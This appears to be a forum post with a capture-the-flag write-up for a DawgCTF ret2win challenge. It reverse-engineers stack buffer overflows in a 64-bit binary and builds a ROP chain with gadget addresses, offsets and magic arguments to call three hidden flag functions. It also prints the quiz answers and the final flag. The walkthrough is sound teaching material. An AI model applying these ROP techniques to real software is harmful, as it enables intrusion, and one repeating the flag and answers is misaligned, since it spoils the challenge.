TL;DR
basic buffer overflows
overwriting return addies 2 wiin
1. what are we working with?
64‑bit ELF (ET_EXEC), NX enabled, no PIE ⇒ every address is static
Three hidden flag functions in .text:
Stack must be 16‑byte aligned before every call
Here my reversing notes:
Ye we defiently wont google the answers, they are free anyways
Ladies and gents, buffer overflow
we need the offset to the return addy, for our exploit
0x88 (buffer) + 0x08 (saved RBP) + 0x08 (saved RIP) = 0x98
quick explanation why this is broken:
fgets is told to accept 512 bytes (0x200) but the buffer can only hold 136 bytes
Any input longer than 136 bytes keeps writing past the end of s,overwriting:
"A" * 0x98 # fills buffer + saved RBP exactly
<new RIP> # first 8 bytes beyond 0x98 overwrite return addr
When the function later executes leave; ret, execution jumps to the value weplaced after the 0x98‑byte padding, kicking off our ROP chain (win1 → win2 → win3).
Within win1 the flag part 1 will be pritned, from a flag.txt file on the target system
we can also see the addy of win2... our next target
in addition there is another buffer overflow within the Continue: prompt
Soo...
mov esi, 0x60 ; n = 96 bytes
lea rax, [rbp+s] ; rax -> buffer (32 bytes big)
call fgets ; fgets(buf, 96, stdin)
Buffer size: 32 bytes
Requested input: 96 bytes
Any input longer than 32 bytes:
overwrites var_18, var_9, stream
overwrites the saved base pointer
overwrites the saved return address – giving us full control of rip when win1 later executes leave; ret
well once we wander into win2 we are met with a gate check x)
if we didnt load 0xDEADBEEF into RDI we are taking a roundtrip to _exit
mov [rbp‑0x34], edi ; save first argument
cmp [rbp‑0x34], 0xDEADBEEF ; must be exact
jnz fail_exit
but ye we are presented with the second flag part
Im getting hyped for the final test x)
saved RIP, RBP each of size 8
stream: 8
var_9: 1
padding... 7
s: 22
var_28: 8
var_30: 24
Only 24 bytes are reserved for var_30, but fgets is told to read0x100 (256) bytes.
Everything beyond the first 24 bytes:
overwrites var_28, s, var_9, stream
clobbers the saved base pointer
finally replaces the saved return address
When win2 finishes and executes leave; ret, execution jumps to whatever 64‑bit value we placed 40 bytes (0x28) after the start of the input buffer.
soo we return to win3 but OBACHT, we have too bring some stuff x)
so we craft our rop chain to bring our artifacts to the party
pop rdi ; ret → 0xDEADBEEF
pop rsi ; ret → 0xDEAFFACE
pop rdx ; ret → 0xFEEDCAFE
ret → keep 16‑byte alignment
win3 ← new return address
Once we land in win3 our artifacts are already in RDI, RSI and RDX, the gate check passes, filename is built and last flag is printed. No clue why filename is suddenly being "obfuscated" lolz
2. our anatomy x) we use these with our pwn tooling
OFFSET = 0x98 # distance from buf start to saved RIP
RET = 0x40101a # solitary bare ret; used for alignment
POP_RDI, POP_RSI, POP_RDX = 0x4017d6, 0x4017d8, 0x4017da
WIN1, WIN2, WIN3 = 0x401401, 0x401314, 0x4011e6
EXIT = 0x4010f0
3. bypasing annoying intro quiz
just send 2, 1 and 4 to successfully pass the quizz
4. our rop chain - payload
Why align? On System V AMD64 (hosts os) the caller must keep rsp 16‑byte aligned just before a call. Each pop … ; ret shifts rsp by 8; inserting one plain ret (which itself pops another 8) restores alignment.
So we create a lil helper func to 16bit align when required
5. Summarizing the exploitation flow
Wrap up
pretty trivial buffer overflows x)
Static binary + NX → pure ROP is enough, no leaks required.
Keep 16‑byte alignment (one extra ret before each real call).
Ret2Win & bringing our artifacts along to bypass the gate checks x)
Flag:> DawgCTF{C0ngR4tul4t10ns_d15c1p13y0u4r3_r34dy_2_pwn!}
basic buffer overflows
overwriting return addies 2 wiin
1. what are we working with?
64‑bit ELF (ET_EXEC), NX enabled, no PIE ⇒ every address is static
Three hidden flag functions in .text:
- win1() → prints flag1.txt (no args)
- win2(arg) → prints DEADBEEF.txt (needs one 64‑bit arg)
- win3(a,b,c) → prints the final flag (needs three 64‑bit args)
Stack must be 16‑byte aligned before every call
Here my reversing notes:
Ye we defiently wont google the answers, they are free anyways
Ladies and gents, buffer overflow
we need the offset to the return addy, for our exploit
0x88 (buffer) + 0x08 (saved RBP) + 0x08 (saved RIP) = 0x98
quick explanation why this is broken:
fgets is told to accept 512 bytes (0x200) but the buffer can only hold 136 bytes
Any input longer than 136 bytes keeps writing past the end of s,overwriting:
- the saved base pointer,
- the saved return address (control‑flow pivot)
"A" * 0x98 # fills buffer + saved RBP exactly
<new RIP> # first 8 bytes beyond 0x98 overwrite return addr
When the function later executes leave; ret, execution jumps to the value weplaced after the 0x98‑byte padding, kicking off our ROP chain (win1 → win2 → win3).
Within win1 the flag part 1 will be pritned, from a flag.txt file on the target system
we can also see the addy of win2... our next target
in addition there is another buffer overflow within the Continue: prompt
Soo...
mov esi, 0x60 ; n = 96 bytes
lea rax, [rbp+s] ; rax -> buffer (32 bytes big)
call fgets ; fgets(buf, 96, stdin)
Buffer size: 32 bytes
Requested input: 96 bytes
Any input longer than 32 bytes:
overwrites var_18, var_9, stream
overwrites the saved base pointer
overwrites the saved return address – giving us full control of rip when win1 later executes leave; ret
well once we wander into win2 we are met with a gate check x)
if we didnt load 0xDEADBEEF into RDI we are taking a roundtrip to _exit
mov [rbp‑0x34], edi ; save first argument
cmp [rbp‑0x34], 0xDEADBEEF ; must be exact
jnz fail_exit
but ye we are presented with the second flag part
Im getting hyped for the final test x)
saved RIP, RBP each of size 8
stream: 8
var_9: 1
padding... 7
s: 22
var_28: 8
var_30: 24
Only 24 bytes are reserved for var_30, but fgets is told to read0x100 (256) bytes.
Everything beyond the first 24 bytes:
overwrites var_28, s, var_9, stream
clobbers the saved base pointer
finally replaces the saved return address
When win2 finishes and executes leave; ret, execution jumps to whatever 64‑bit value we placed 40 bytes (0x28) after the start of the input buffer.
soo we return to win3 but OBACHT, we have too bring some stuff x)
so we craft our rop chain to bring our artifacts to the party
pop rdi ; ret → 0xDEADBEEF
pop rsi ; ret → 0xDEAFFACE
pop rdx ; ret → 0xFEEDCAFE
ret → keep 16‑byte alignment
win3 ← new return address
Once we land in win3 our artifacts are already in RDI, RSI and RDX, the gate check passes, filename is built and last flag is printed. No clue why filename is suddenly being "obfuscated" lolz
2. our anatomy x) we use these with our pwn tooling
OFFSET = 0x98 # distance from buf start to saved RIP
RET = 0x40101a # solitary bare ret; used for alignment
POP_RDI, POP_RSI, POP_RDX = 0x4017d6, 0x4017d8, 0x4017da
WIN1, WIN2, WIN3 = 0x401401, 0x401314, 0x4011e6
EXIT = 0x4010f0
3. bypasing annoying intro quiz
just send 2, 1 and 4 to successfully pass the quizz
4. our rop chain - payload
Code:
"A"*0x98 # fill buffer to saved RIP
ret # align stack (16‑B)
→ win1()
pop rdi ; ret
0xDEADBEEF
ret # align
→ win2(0xDEADBEEF)
pop rdi ; ret # a
0xDEADBEEF
pop rsi ; ret # b
0xDEAFFACE
pop rdx ; ret # c
0xFEEDCAFE
ret # align
→ win3(a,b,c)
→ exit()
Why align? On System V AMD64 (hosts os) the caller must keep rsp 16‑byte aligned just before a call. Each pop … ; ret shifts rsp by 8; inserting one plain ret (which itself pops another 8) restores alignment.
So we create a lil helper func to 16bit align when required
5. Summarizing the exploitation flow
- connect & autosolve the quizz
- send crafted rop string trough first fgets
- bin returns into win1 and gives us the first flag part
- execution falls trough to our next gadget seq > win2(0xDEADBEEF) prints second chunk
- > win3(0xDEADBEEF, 0xDEAFFACE, 0xFEEDCAFE) prints final flag
- exit muahaha
Wrap up
pretty trivial buffer overflows x)
Static binary + NX → pure ROP is enough, no leaks required.
Keep 16‑byte alignment (one extra ret before each real call).
Ret2Win & bringing our artifacts along to bypass the gate checks x)
Flag:> DawgCTF{C0ngR4tul4t10ns_d15c1p13y0u4r3_r34dy_2_pwn!}
Attachments
-
1745303104071.png133.7 KB · Views: 18
-
1745303383824.png6.5 KB · Views: 18
-
1745303531976.png2.9 KB · Views: 17
-
1745303613648.png49.8 KB · Views: 17
-
1745304014313.png15.2 KB · Views: 20
-
1745304150101.png15.9 KB · Views: 20
-
1745304499231.png39.2 KB · Views: 20
-
1745304841991.png15.4 KB · Views: 19
-
1745304854245.png10.2 KB · Views: 19
-
1745304876581.png17.6 KB · Views: 19
-
1745305616295.png19.7 KB · Views: 18
-
1745305635899.png26.8 KB · Views: 17